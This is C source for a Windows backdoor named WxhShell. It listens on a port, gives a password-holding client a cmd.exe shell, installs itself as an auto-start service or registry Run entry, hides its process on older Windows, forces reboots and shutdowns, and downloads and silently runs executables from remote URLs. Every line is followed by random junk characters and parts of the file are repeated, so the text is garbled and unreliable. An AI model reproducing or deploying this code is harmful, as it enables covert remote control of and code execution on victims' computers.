    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T ? $:'XJ  
    if(Boot(SHUTDOWN)) 5]NqRI^0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (zgW%{V@  
    else { 0xxg|;h.,g  
    closesocket(wsh); d6'{rje(  
    ExitThread(0); c9HrMgW  
    } n!NS(. o  
    break; tXoWwQD;Y  
    } q;R],7Re  
  // 获取shell ;|p BFKx  
  case 's': { ,=UK}*e"  
    CmdShell(wsh); p~SClaR3H  
    closesocket(wsh); wfNk=)^$  
    ExitThread(0); RX>xB  
    break; dYG,_ji  
  } v'U{/ ,x  
  // 退出 % 5m/  
  case 'x': { qAAX;N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z>XrU>}  
    CloseIt(wsh); \?Z{hmN  
    break; Q3 u8bx|E  
    } w\(.3W7  
  // 离开 NL!u<6y  
  case 'q': { ABQa 3{v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OjFLPGRCh  
    closesocket(wsh); =8t]\Y?  
    WSACleanup(); +aJ>rR  
    exit(1); x.f]1S7h[  
    break; fI{ESXU  
        } tasIDoo+!J  
  } G f,`  
  } IEXt:  
'9S8}q  
  // 提示信息 ! ='rc-E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'JCZ]pZ  
} VXYK?Qc'  
  } S& S Q  
OHeT,@(mh  
  return; [Grxw[(_:  
} T+*%?2>q"  
6%t1bM a  
// shell模块句柄 6HZ`.o:f  
int CmdShell(SOCKET sock) *G{^|z  
{ ePr&!Tz#  
STARTUPINFO si; GO__$%~  
ZeroMemory(&si,sizeof(si)); 55tKTpV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { vKLAxc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n&"B0ycF  
PROCESS_INFORMATION ProcessInfo; P,xKZ{(  
char cmdline[]="cmd"; +_; l|uhT;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8.XoVW#  
  return 0; I,0q4  
} JBi*P.79^  
V#XppYU  
// 自身启动模式 ,{BaePMp  
int StartFromService(void) s!?`T1L  
{ lBK}VU^  
typedef struct :[O 8  
{ ()5[x.xK@  
  DWORD ExitStatus; X;i~ <Tq  
  DWORD PebBaseAddress; EH256f(&  
  DWORD AffinityMask; gu0j.XS^  
  DWORD BasePriority; \9cG36  
  ULONG UniqueProcessId; 6G #}Q/  
  ULONG InheritedFromUniqueProcessId; Jth[DUH8H  
}   PROCESS_BASIC_INFORMATION; pimtiQqC  
HkO7R `  
PROCNTQSIP NtQueryInformationProcess; (BTVD,G  
K? y[V1,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y"~gw~7OD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S 5/R_5  
mS^tX i5hg  
  HANDLE             hProcess; ]L9s%]o  
  PROCESS_BASIC_INFORMATION pbi; Bwa'`+bC  
|C!oxhu<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *~t6(v?  
  if(NULL == hInst ) return 0; P{wF"vf  
.#rJ+.2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @6wFst\t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E%r k[wI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |N%fMPKa  
,q}ML TS i  
  if (!NtQueryInformationProcess) return 0; M%ICdIc'  
w8MG(Lq1"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8,C*4y~  
  if(!hProcess) return 0; 2w["aVr =  
\Ta"}TF8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ldiD2 Q  
Fs9I7~L3  
  CloseHandle(hProcess); syaPpM Q-  
nm6h%}xND<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~]nSSD)\  
if(hProcess==NULL) return 0; ;1%-8f:lW  
W3MU1gl6k{  
HMODULE hMod; wE?'Cl  
char procName[255]; KwPOO{4]g  
unsigned long cbNeeded; B"!l2  
a-=8xs'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .^h#_[dp  
U56G.  
  CloseHandle(hProcess); G LIi6  
aqj@Cjk4Z  
if(strstr(procName,"services")) return 1; // 以服务启动 gk"$,\DI  
c_vqL$Dl  
  return 0; // 注册表启动 cc~O&?)i  
} n=y[CKS  
xx#zN0I>-y  
// 主模块 `< xn8h9p  
int StartWxhshell(LPSTR lpCmdLine) "|qqUKJZ  
{ orWbU UC  
  SOCKET wsl; ;[M}MFc/`  
BOOL val=TRUE; 9f&C  
  int port=0; >pp5;h8!  
  struct sockaddr_in door; C~o7X^[R\  
j)<IRD^  
  if(wscfg.ws_autoins) Install(); >zXsNeGQR  
&6ZD136  
port=atoi(lpCmdLine); e[&L9U6GW-  
KG|n  
if(port<=0) port=wscfg.ws_port; LR".pH13  
nV-mPyfL8  
  WSADATA data; ^,/RO5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .k%[4:Fe  
?~hHGf\^b6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qo;zHZ'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VJickXA  
  door.sin_family = AF_INET; {<R2UI5m5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YoBPLS`K  
  door.sin_port = htons(port); VQ7*Z5[1  
B9NWW6S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 19E 8'@  
closesocket(wsl); tt0f-:#  
return 1; @zU6t|mhz  
} HY&aV2|A1  
A8uVK5  
  if(listen(wsl,2) == INVALID_SOCKET) { M%2+y5  
closesocket(wsl); ?0v-qj+  
return 1; NbgK@eV}+{  
} i{`FmrPO~  
  Wxhshell(wsl); $a ]_w.@  
  WSACleanup(); JM x>][xD  
pe]A5\4c  
return 0; 60J;sGW  
18+)`M-5o  
} OY;*zk  
9~]~#Uj  
// 以NT服务方式启动 mlJ!:WG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5|o6v1bM  
{ wr$M$i:  
DWORD   status = 0; j4jTSLQ\  
  DWORD   specificError = 0xfffffff; =g9*UzA"O  
|=`~-i2W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /aZ+T5O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VUPXO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "alyfyBu'M  
  serviceStatus.dwWin32ExitCode     = 0; x4;"!Kq\  
  serviceStatus.dwServiceSpecificExitCode = 0; ?[g=F <r  
  serviceStatus.dwCheckPoint       = 0; "Zl5<  
  serviceStatus.dwWaitHint       = 0; fI{&#~f4C  
[5G6VNh=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b{L/4bu  
  if (hServiceStatusHandle==0) return; r:f[mk"-"A  
S- pV_Ff  
status = GetLastError(); K/i*w<aPb7  
  if (status!=NO_ERROR) `6lr4Kk @R  
{ V^3L3|k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]x RM&=)<  
    serviceStatus.dwCheckPoint       = 0; \m(VdE  
    serviceStatus.dwWaitHint       = 0; 1 *'HL#  
    serviceStatus.dwWin32ExitCode     = status; *>|gxM8  
    serviceStatus.dwServiceSpecificExitCode = specificError; + +M$#Er&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ig&$fzb  
    return; #_6I w`0  
  } Q=AavKn#  
:S<f?* }:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gl\\+VyU  
  serviceStatus.dwCheckPoint       = 0; /?@3.3sl_  
  serviceStatus.dwWaitHint       = 0; pGJ>O/%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uE%r/:!k4$  
} ([SU:F!uW(  
}001K  
// 处理NT服务事件,比如:启动、停止 sf)EMh3Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L ^q""[  
{ w80oXXs[#  
switch(fdwControl) ,l !Ta "  
{ _FH`pv  
case SERVICE_CONTROL_STOP: B8f8w)m  
  serviceStatus.dwWin32ExitCode = 0; `|{-+m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oW ::hB  
  serviceStatus.dwCheckPoint   = 0; s5CXwM6cx  
  serviceStatus.dwWaitHint     = 0; C-Q28lD}f  
  { -w9pwB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B:'J `M"N  
  } 41`n1:-]  
  return; R=gb'  
case SERVICE_CONTROL_PAUSE: lR )67a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  .E`\MtA  
  break; |bTPtrT8  
case SERVICE_CONTROL_CONTINUE: G`cHCP_n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZrPbl "`7  
  break; KN<S}3MN  
case SERVICE_CONTROL_INTERROGATE: n^Hm;BiE#  
  break;  6:b! F  
}; &e @2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hs^zTZ_  
} tSr8 zAV  
oI }VV6vO  
// 标准应用程序主函数 ?}wk.gt>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]V^iN=(_5  
{ Xe$I7iKD  
RRmz"j>  
// 获取操作系统版本 B3We|oe!  
OsIsNt=GetOsVer(); rDm~h~u5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1oR7iD^  
Zq+v6fk_Mn  
  // 从命令行安装 >3p \m  
  if(strpbrk(lpCmdLine,"iI")) Install(); [k.tWA,&  
cpL7!>^=  
  // 下载执行文件 '@o;-'b  
if(wscfg.ws_downexe) { ]<ldWL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }AB, 8n`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4ezEW|S  
} _ TiuY  
wH>a~C:  
if(!OsIsNt) { VCV"S>aVf  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q-_N2W ?  
HideProc(); CAfGH!l!  
StartWxhshell(lpCmdLine); ((H^2KJn  
} t<#TJ>Le  
else th  
  if(StartFromService()) O#ai)e_uQk  
  // 以服务方式启动 ??^5;P{yx  
  StartServiceCtrlDispatcher(DispatchTable); uxXBEq;  
else ff]6aR/ UQ  
  // 普通方式启动 Vr]id  
  StartWxhshell(lpCmdLine); 8<X#f !  
B,?T%  
return 0; %KsEB*' "  
} m8A#~i .  
6eLR2  
C[ NS kr  
Lt u'W22  
=========================================== ?9!6%]2D  
,)0H3t  
Bo)3!wO8  
Rw"sJ)/  
CS2 Bo  
(/=f6^}  
" MLXNZd   
GZEc l'h*  
#include <stdio.h> ?4+9fE<Q  
#include <string.h> } df W%{  
#include <windows.h> 5 h-@|t  
#include <winsock2.h> s3z$e+A8  
#include <winsvc.h> ?M8dP%&r  
#include <urlmon.h> U>YAdrx2a  
gH$ Mr  
#pragma comment (lib, "Ws2_32.lib") _GV:HOBi  
#pragma comment (lib, "urlmon.lib") 6V$Avg\6\  
N(; 1o.~  
#define MAX_USER   100 // 最大客户端连接数 ,vr? 2k  
#define BUF_SOCK   200 // sock buffer I@T8Iv=  
#define KEY_BUFF   255 // 输入 buffer *w|:~g  
@@R7p  
#define REBOOT     0   // 重启 sZjQ3*<-r  
#define SHUTDOWN   1   // 关机 G? ])o5  
t>L;kRujVJ  
#define DEF_PORT   5000 // 监听端口 FtpK)9/4  
I4'5P}1yp  
#define REG_LEN     16   // 注册表键长度 )F}F_Y  
#define SVC_LEN     80   // NT服务名长度 Lb!Fcf|h  
?qP7Y nl  
// 从dll定义API C_( *>!Z%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); caU0\VS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '9laa=H%8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fa-IhB1!K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qB~rQPa  
,kiv>{  
// wxhshell配置信息 y`VyQWW  
struct WSCFG { IoxgjUa  
  int ws_port;         // 监听端口 I5`4Al  
  char ws_passstr[REG_LEN]; // 口令 L5Ebc#  
  int ws_autoins;       // 安装标记, 1=yes 0=no ? E1<!~  
  char ws_regname[REG_LEN]; // 注册表键名 T5R-B=YWu  
  char ws_svcname[REG_LEN]; // 服务名 MDnKX?Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v_<rNc,z-s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6^V=?~a&z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pM+ AjPr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2a-w% (K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tClg*A;|B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lNy.g{2f<m  
;!=G   
}; ,$@bE  
.7Dtm<K#  
// default Wxhshell configuration lsJSYJG&  
struct WSCFG wscfg={DEF_PORT, LzG%Z1`  
    "xuhuanlingzhe", Z~AO0zUKY  
    1, AS!?q  
    "Wxhshell", n4s+>|\M  
    "Wxhshell", ./- 5R|fN  
            "WxhShell Service", P9GN}GN%v  
    "Wrsky Windows CmdShell Service", n D0K).=Q  
    "Please Input Your Password: ", *M[?bk~~  
  1, aI%g2 q0f  
  "http://www.wrsky.com/wxhshell.exe", 9eGyyZg  
  "Wxhshell.exe" 4qO+_!x{)  
    }; 6w*dKInG[-  
x/NfZ5e0X  
// 消息定义模块 O(#)m>A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )fFb_U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :yL] ;J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ed]=\Key  
char *msg_ws_ext="\n\rExit."; i@C].X  
char *msg_ws_end="\n\rQuit."; ]}Mj)J"m  
char *msg_ws_boot="\n\rReboot..."; US+Q~GTA  
char *msg_ws_poff="\n\rShutdown..."; .?D7dyU l1  
char *msg_ws_down="\n\rSave to "; `n.5f[wC  
%oF}HF.  
char *msg_ws_err="\n\rErr!"; $I!XSz"/e  
char *msg_ws_ok="\n\rOK!"; _ q(ko/T  
cpe+XvBuK  
char ExeFile[MAX_PATH]; 61,;Uc\T  
int nUser = 0; ?274uAO'  
HANDLE handles[MAX_USER]; ]jtK I4  
int OsIsNt; J}*,HT*  
qt"G[9;  
SERVICE_STATUS       serviceStatus; m.JBOq=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j5QuAU8  
.sxcCrQE  
// 函数声明 O)C\v F#  
int Install(void); $'0u|Xy`  
int Uninstall(void); 6|K5!2  
int DownloadFile(char *sURL, SOCKET wsh); d:_t-ZZo  
int Boot(int flag); 3YeG$^y"  
void HideProc(void); P!$Zx)T  
int GetOsVer(void);  H_B4  
int Wxhshell(SOCKET wsl); qPWP&k  
void TalkWithClient(void *cs); }HL]yDO  
int CmdShell(SOCKET sock); 9"@\s$ OBk  
int StartFromService(void); q YC;cKv  
int StartWxhshell(LPSTR lpCmdLine); {i1| R"ta  
!xzeMVI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O6Vtu Ws%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $CxKuB(  
BIb4h   
// 数据结构和表定义 $Ad{Z  
SERVICE_TABLE_ENTRY DispatchTable[] = Eav[/cU  
{ 2`AY~i9  
{wscfg.ws_svcname, NTServiceMain}, ucuSe!IcX  
{NULL, NULL} :lX!\(E2  
}; H;D>|q  
Qwz}B  
// 自我安装 v&Ii^?CvO  
int Install(void) f& 0M*o,)  
{ qsF<!'m7`  
  char svExeFile[MAX_PATH]; wJg1Y0nh  
  HKEY key; W$QcDp]#p}  
  strcpy(svExeFile,ExeFile); [NQOrcAQ  
$[9%QQk5<L  
// 如果是win9x系统,修改注册表设为自启动 n+! AnKq  
if(!OsIsNt) { Gn22<C/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8a &:6Zuo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zvhsyz|  
  RegCloseKey(key); JBD7h5|Lc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,f kcp]}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &w4?)#  
  RegCloseKey(key); `0rd26Qro  
  return 0; }Dp*}=?E  
    } =AsEZ)" _  
  } BoA/6FRi[  
} ?42<J%p  
else { zuP B6W^  
*aXF5S  
// 如果是NT以上系统,安装为系统服务 >@BnV{ d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,V'o4]H  
if (schSCManager!=0) ,4 hJT  
{ he#J|p  
  SC_HANDLE schService = CreateService H1 2Fw'2  
  ( h-g+g#*  
  schSCManager, ke{8 ^X~#  
  wscfg.ws_svcname, 7t3X)Ah  
  wscfg.ws_svcdisp, |VKK#J/  
  SERVICE_ALL_ACCESS, C#QpQg2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rI{=WPI&WU  
  SERVICE_AUTO_START, "B8Q:  
  SERVICE_ERROR_NORMAL, TbA}BFT`  
  svExeFile, D,m]CK '  
  NULL, ;1#H62Z*  
  NULL, c@YI;HS_g  
  NULL, gep;{G}  
  NULL, g6nkZyw  
  NULL K7$x<5+)  
  ); yZd +^QN  
  if (schService!=0) H!vax)%-\  
  { xE1 eT,  
  CloseServiceHandle(schService); |yvQ[U~PQ  
  CloseServiceHandle(schSCManager); 2`.cK 3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hS_6  
  strcat(svExeFile,wscfg.ws_svcname); ]5BX :%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sPd Gw~{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,"2s`YC  
  RegCloseKey(key); siXr;/n"  
  return 0; {2qFY 5H  
    } BMhy=+\  
  } [vge56h  
  CloseServiceHandle(schSCManager); U -Y03  
} ,/[6e\0~  
} rMXN[,|v  
6Vww;1 J  
return 1; ODZ5IO}v  
} >d~WH@o`G  
PEc,l>u9  
// 自我卸载 Gb"r|(!  
int Uninstall(void) l|xZk4@_uE  
{ _a_7,bk5  
  HKEY key; QFfK0X8cC  
NHB4y/2  
if(!OsIsNt) { SH3|sXH<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Kr+\F  
  RegDeleteValue(key,wscfg.ws_regname); r$5i Wu  
  RegCloseKey(key); .#wqXRd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mt9 .x  
  RegDeleteValue(key,wscfg.ws_regname); Pf*^ZB%  
  RegCloseKey(key); s~X+*@.  
  return 0; yphS'AG  
  } n 9\ C2r  
} tc_286'x  
} j0Bu-sO$w  
else { W8Q|$ZJ88F  
iM2W]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wNq;;AJ$  
if (schSCManager!=0) &lR 6sb\  
{ LY6;.d$J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XXbqQhf  
  if (schService!=0) ag$Vgl  
  { .b\$MZ"(  
  if(DeleteService(schService)!=0) { 3Uqr,0$p  
  CloseServiceHandle(schService); (]_1  
  CloseServiceHandle(schSCManager); 6cpw~  
  return 0; ;_8#f%Y#R  
  } 0- ><q  
  CloseServiceHandle(schService); (Lo%9HZ1Mx  
  } b:=TB0Fx?n  
  CloseServiceHandle(schSCManager); rI^zB mrr  
} r~+\ Y"rM  
} |\_^ B  
[qdRUV'  
return 1; ~jK{ ,$:=  
} t(GR)&>.2  
pp.6Ex (R  
// 从指定url下载文件 6)z?f4,  
int DownloadFile(char *sURL, SOCKET wsh) ay1YOfa*  
{ xAafm<L@!  
  HRESULT hr; D*Ik7Pe  
char seps[]= "/"; ?aC'.jH+  
char *token; y[>;]R7'  
char *file; )v]/B+  
char myURL[MAX_PATH]; dp++%:j  
char myFILE[MAX_PATH]; qZ]pq2G  
|"XPp!_uN  
strcpy(myURL,sURL); :]rJGgK#  
  token=strtok(myURL,seps); u583_k%  
  while(token!=NULL) $k0k k  
  { pX/n)q[  
    file=token; zR `EU,  
  token=strtok(NULL,seps); ~)qtply  
  } qud\K+  
GFfq+=se  
GetCurrentDirectory(MAX_PATH,myFILE); o]Ol8I  
strcat(myFILE, "\\"); D,;\o7V  
strcat(myFILE, file); wtmB+:I  
  send(wsh,myFILE,strlen(myFILE),0); O_cbP59Y.  
send(wsh,"...",3,0); ?gJOgsHJP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \|]Z8t7  
  if(hr==S_OK) uMut=ja(U  
return 0; DjI3?NN  
else \I["2C]3M  
return 1; !1n8vzs"c  
fR)m%m  
} <cZGxff01  
%ThyOl@O  
// 系统电源模块 fq5_G~c =  
int Boot(int flag) C|d\3S\(  
{ |X,|QC*7?  
  HANDLE hToken; WZazJ=27}  
  TOKEN_PRIVILEGES tkp; 3= DNb+D!  
Au{<hQ =  
  if(OsIsNt) { ^M%uV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %@;6^=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d}LRl"_n  
    tkp.PrivilegeCount = 1; w$H^q !(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9Q(+ZG=JkV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5K^69mx  
if(flag==REBOOT) { 7@Zx@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #mZpeB~   
  return 0; CqHK%M  
} Rp*R:3 C  
else { ~zil/P8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RletL)  
  return 0; QYa(N[~a  
} &ZghMq~  
  } XO-Prs  
  else { xY+VyOUs  
if(flag==REBOOT) { B;R.#^@/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s7g(3<(  
  return 0; CPVjmRUF|  
} SrFS#  
else { &FH2fMLQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zG' "9kJx  
  return 0; j<2m,~k`V  
} d)@<W1;  
} $&$w Y/F  
rgSOS-ox  
return 1; VR+<v   
} K =C!b?  
: p{+G  
// win9x进程隐藏模块 '" X_B0k  
void HideProc(void) V$"ujRp  
{ Mva3+T  
fLSXPvm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L KCb_9  
  if ( hKernel != NULL ) WVmq% ,7  
  { J4"mK1N(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JJltPGT~Oa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y4cYZS47  
    FreeLibrary(hKernel); t6,wjN-J  
  } sf OHl  
&ISb~5  
return; Xg=x7\V  
} 1iX)d)(b  
:N<.?%Kf  
// 获取操作系统版本 DUL4noq{  
int GetOsVer(void)  t^xTFn  
{ !@x+q)2  
  OSVERSIONINFO winfo; >iOzl wmG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /0W9g  
  GetVersionEx(&winfo); @*0cMO;SpG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _bzqd" 31I  
  return 1; a@@M+9Q  
  else p}|.ZkyN  
  return 0; @WQK>-=(3  
} G [:N0{v5  
 |y h\  
// 客户端句柄模块 xXY.AoO6  
int Wxhshell(SOCKET wsl) < -uc."6\  
{ 'Q =7/dY3I  
  SOCKET wsh; 2+cNo9f  
  struct sockaddr_in client; ik"sq}u_]E  
  DWORD myID; l" q1?kaVg  
/erN;Oo%<  
  while(nUser<MAX_USER) Dy]I8_  
{ >6~k9>nDb<  
  int nSize=sizeof(client); RrhT'':[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V~T@6S  
  if(wsh==INVALID_SOCKET) return 1; ari7iF ~j  
^A][)*SZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YXU|h  
if(handles[nUser]==0) q;fKcblKj  
  closesocket(wsh); .fi/I  
else Q|,B*b  
  nUser++; ?\U!huu  
  } 6oinidB[l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $55U+)C<  
LuR,f"%2  
  return 0; fQ'.8'>T  
} )-Ej5'iHr  
9Ew7A(BG_3  
// 关闭 socket ewuXpv%vwW  
void CloseIt(SOCKET wsh) B_ja&) !s1  
{ ygS L  
closesocket(wsh); -/ x W  
nUser--; PSRzrv$l  
ExitThread(0); ]WUC:6x  
} vBvNu<v7te  
e,k2vp!<&  
// 客户端请求句柄 c=[q(|+O!  
void TalkWithClient(void *cs) jJ3zF3Id  
{ 0@5E|<A  
6yu]GK} es  
  SOCKET wsh=(SOCKET)cs; "BKeot[""p  
  char pwd[SVC_LEN]; sVoW =4V8  
  char cmd[KEY_BUFF];  :Pq.,s  
char chr[1]; 659v\51*  
int i,j; 1/ZR*f a  
451'>qS  
  while (nUser < MAX_USER) { ?-OPX_i_  
H]\Zn%.#  
if(wscfg.ws_passstr) { joa5|t!D9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9p@C4oen  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?/M_~e.P  
  //ZeroMemory(pwd,KEY_BUFF); m7=1%6FN3  
      i=0; #FYAV%pi  
  while(i<SVC_LEN) { L{ho*^b  
?$z.K>S5  
  // 设置超时 !r+IXuqV,!  
  fd_set FdRead; S2C]?6cTq  
  struct timeval TimeOut; p T[gdhc  
  FD_ZERO(&FdRead); K"<*a"1I  
  FD_SET(wsh,&FdRead); JR9$. fGJ  
  TimeOut.tv_sec=8; (QB+%2v  
  TimeOut.tv_usec=0; tZ2K$!/B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2 ?|gnbE:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0_yP\m  
XM|%^ry  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i3mAfDF  
  pwd=chr[0]; 2UP,Tgn..  
  if(chr[0]==0xd || chr[0]==0xa) { V% CUMH =U  
  pwd=0; ^1jk$$f  
  break; "Vd_CO  
  } =l942p  
  i++; u>.y:>  
    } 0 nW F  
H]31l~@]  
  // 如果是非法用户,关闭 socket IeF keE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x`Fjf/1T*m  
} 9l+{OA  
8cm@a*2%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jU=<r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WxGSv#u  
8 Op.eYe  
while(1) { 59rY[&|  
o%y;(|4t >  
  ZeroMemory(cmd,KEY_BUFF); V+Xl9v4O  
I<h=Cj[[  
      // 自动支持客户端 telnet标准   >O]s&34  
  j=0; :a3LS|W  
  while(j<KEY_BUFF) { )%Y IGV;&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Di=9mHC  
  cmd[j]=chr[0]; beZ(o?uK  
  if(chr[0]==0xa || chr[0]==0xd) { UQd6/mD`e  
  cmd[j]=0; O.k \]'  
  break; zuL7%qyv  
  } 0y %L-:/c|  
  j++; *]s&8/Gmb  
    } ';RI7)<  
x:5dC I  
  // 下载文件  ?RD *1  
  if(strstr(cmd,"http://")) { . p^xS6e{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A8?[6^%O|  
  if(DownloadFile(cmd,wsh)) ^uaFg`S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0,FC YTtj$  
  else Ie'P#e'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w@]jpH;WX  
